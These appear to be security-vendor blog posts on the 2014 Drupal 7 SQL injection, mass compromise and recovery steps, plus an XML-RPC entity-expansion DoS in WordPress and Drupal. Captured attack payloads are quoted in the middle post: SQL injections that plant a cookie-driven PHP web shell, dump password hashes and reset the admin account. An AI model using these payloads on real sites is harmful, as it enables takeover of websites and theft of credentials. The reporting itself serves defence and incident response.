Drupal Warns – Every Drupal 7 Website was Compromised Unless Patched

The Drupal team released an update to a critical SQL Injection vulnerability a few weeks ago and urged all their users to update or patch their sites as immediately.

Today the the Drupal team released a strong statement via a public service announcement:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

In case you’re wondering, this is a very strong statement for any origanization, especially an open source project, to make. It’s one we agree with and tried to amplify, without causing alarm in the initial post. Less than 48 hours after their disclosure, we released a post saying that attacks were already in the wild and attempting to compromise every site they could.

The scariest part of this vulnerability is that since Drupal uses PDO, this vulnerability is not only limited to SELECT statements, an attacker is able to able to insert or modify arbitrary data in the database.

Severity, coupled with it’s simplicity is a recipe for disaster. It’s a matter of time before it’s integrated into the latest toolsets and attacks are actively detected.

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt…

One thing I want to make very clear is that every site behind our website firewall is and has been protected against this attack. We still recommended all our users patch, but our virtual patching (along with our SQL injection protection), kept and will continue to keep our clients sites safe.

Recovery Mode

If you have not patched your site in time and you were not using a Website Firewall with virtual patching enabled, you should assume that your site was indeed hacked. You need to defer to your incident response procedures and assume a compromise has occurred until you can prove otherwise.

The Drupal team provided some steps in their disclosure, but we also want to recommend the following steps:

  1. Check if your site is actively serving malware or spam. Free scanners like SiteCheck and Unmaskparasites exist for this purpose.
  2. Download a filesystem backup from before Oct 15th and compare all file changes since.
  3. Download a database backup from before Oct 15th and compare any changes there. Look for new users and new hooks specially. If you can, restore to that backup to be safe.
  4. Change all passwords.
  5. Look up for any new file added since.

The scary part of this issue is that Drupal, unlike many other of it’s counterparts – Joomla! and WordPress – is heavily employed in larger organizations (enterprises for lack of a better word). This means that it’s highly unlikely that they were able to patch. Unlike consumers and small business, large organizations have processes that dictate the steps that they are allowed to take and what points. Each step has a series of approvals and depending on the size of the organization those approvals can be exhaustive (meaning they can take time).

This is a recipe for disaster, if it’s true and those websites are in fact compromised, they could be leveraged and daisy chained for a massive malware distribution campaign. Take that into consideration with the size and audience of brands and the impact grows exponentially.

If you are one such organization that finds yourself in this type of situation, we highly recommend employing technology solutions that give you more time to follow your steps while still protecting your online property.

Drupal SQL Injection Attempts in the Wild

Update (2014/10/29): The Drupal team just released a Public Service Announcement, confirming what we are seeing (mass compromise of Drupal sites). We’ve released a new post with recovery information if you did not update in time.

This quote directly from the Drupal team sums it all up:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

Original Post:
Less than 48 hours ago, the Drupal team released an update (version 7.32) for a serious security vulnerability (SQL injection) that affected all versions of Drupal 7.x.

Our last post shared some thoughts on the issue, specifically concerns around how simple a vulnerability it was to exploit and how time was the only delay in seeing wide spread attacks. Being that Drupal is one of the most popular platforms dominating the CMS space today (along with WordPress and Joomla), it only makes sense, that attackers will try to leverage it.

When the a simple vulnerability is introduced that has massive impact, it’s unfortunately a recipe for disaster.

Attacks in the Wild

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt. The same IP also tried to attack our own site.

Sample attack:

POST /?q=node&destination=node HTTP/1.1" 403 4123 "sucuri.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" 
Payload:
name [0%20and%20extractvalue(1, concat(0x5c, (select md5(1122) from 
information_schema.tables limit 1)));%23%20%20]=removed&name[0]=removed&pass=removed&
removed=removed&form_build_id=&form_id=user_login_block&op=Log+in

This initial attempt wasn’t that malicious, seems more like it was a test to see if we were vulnerable (or maybe testing their tools). Decoding the SQLi attack, you find they are doing a SELECT md5() from the information_schema.tables.

A few hours later the real attacks began, attempting to mass compromise Drupal-based websites. The more common attack tries to inject a backdoor into Drupal’s menu_router with the following query:

name=\x22name[0; INSERT INTO `menu_router` (`path`, `load_functions`, 
`to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('removed', 
'', '', 'removed', 'file_put_contents', 0x613a323a7b693a303b733a32343a226d6f64756c657f6.....6870696e666f28293b223b7d);;#  ]

It runs the INSERT query into the menu_router, passing a call to file_put_contents to insert the following file:

a:2:{i:0;s:24:"modules/trigger/XXX-removed.php";i:1;s:14:"<?php $form1=@$_COOKIE["removed"]; 
if ($form1){ $opt=$form1(@$_COOKIE["removed"]); $au=$form1(@$_COOKIE["removed"]); 
$opt("/16/e",$au,16); } phpinfo();";}

Once inserted it provides the attacker full shell access to the hacked site (all commands passing via cookies). That has our team very worried that we might see a massive compromise of Drupal sites that have not updated yet.

Other attacks include attempts to list all users passwords:

name[0%20and%20extractvalue(1, concat(0x5c, (select
+md5(1016)+from+users+limit+0,1)));%23%20%20]=test3&name[0]=test&pass=shit2&test2=test

Some attempts to inject content into menu_router:

form_id=user_login&name[a;%0aTRUNCATE+TABLE+cache_bootstrap
%3BUPDATE+menu_router+SET+access_arguments%3D0x613a313a7b733a348355...
access_callback%3D0x7068705f6576616c+WHERE+path%3D0x75736572%3B
UPDATE+system+SET+status+%3D+1+WHERE+name+%3D+0x706870%3BINSERT+
INTO+registry_file+%28filename%2Chash%29+VALUES+%280x6d6f64756c6..
3964333763396331616263%29%3B%23]=yo&name[a]=heh&op=Log+in&pass=bb

Some attempts to inject a new admin user:

name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'%24S%24CTo9G7L...3a3g'+
where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&
form_id=user_login_block&op=Log+in"

All attempts sharing a similar trait, they are very serious attacks. The bad news is that we are seeing many Drupal sites still not updated against this vulnerability. As we said before, sites behind our Website Firewall are protected against this issue, so if you are concerned about exploits, you can give it a try.

We are actively monitoring the issue and we will keep pushing updates as we learn more.

Highly Critical SQL Injection Vulnerability Patched in Drupal Core

The Drupal team just released a security update for Drupal 7.x to address a highly critical SQL injection vulnerability. This bug can be exploited remotely by non-authenticated users and was classified as “Highly Critical” by the Drupal Security team. More information is available in their public advisory:

Posted by Drupal Security Team on October 15, 2014 at 4:02pm
Advisory ID: DRUPAL-SA-CORE-2014-005
Version: 7.x
Date: 2014-Oct-15
Security risk: 20/25 ( Highly Critical) AC:Basic/A:None/CI:All/II:All/E:Theoretical/TD:All
Vulnerability: SQL Injection


Read More

WordPress and Drupal Core Denial Of Service Vulnerability – Moderately Critical

Both WordPress and Drupal are affected by a DoS (denial of service) vulnerability on the PHP XML parser used by their XMLRPC implementations. The issue lies in the XML entity expansion parser that can cause CPU and memory exhaustion and the site’s database to reach the maximum number of open connections. That will cause the vulnerable site (and server) to go down for a period of time, hence affecting Availability of your website.

Kudos to the security teams from both platforms for their collaboration and synchronized disclosure.

The bug was discovered by Nir Goldshlager and disclosed on his blog at BreakSec. He goes onto to explain the specifics of the issue:

An XML quadratic blowup attack is similar to a Billion Laughs attack. Essentially, it exploits the use of entity expansion. Instead of deferring to the use of nested entities, it replicates one large entity using a couple thousand characters repeatedly.

A medium-sized XML document of approximately two hundred kilobytes may require anywhere within the range of one hundred MB to several GB of memory. When the attack is combined with a particular level of nested expansion, an attacker is then able to achieve a higher ratio of success.

..

If an attacker defines the entity “&x;” as 55,000 characters long, and refers to that entity 55,000 times inside the “DoS” element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size, which expands to 2.5 GB when parsed.

WordPress and Drupal sites are vulnerable to this attack whether XML-RPC is used or not. This is not a vulnerability to be taken lightly. This also has large reaching impacts, any other applications leveraging a similar XMLRPC implementation is vulnerable.

Both projects, WordPress and Drupal, released an update today to address this problem and all users should upgrade asap to the latest version. Since this bug is trivial to exploit, we expect to see it in the wild very soon.

Because of the wide ranging impacts, it’s categorized as Moderately Critical. Any time Availability is affected, one of the pillars that makes up the Security triad, severity goes up. In this case, websites and web servers will go down. This emphasis on it being minor is incorrect, from a Security perspective.

Sucuri - Security Triad

Sucuri Customers Protected

Customer using our Website Firewall (CloudProxy) product are currently protected via our Virtual Patching. This will be especially useful for those that are running out of date versions of the platforms and are unable to update, hence making them susceptible to the attack.

Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

Read More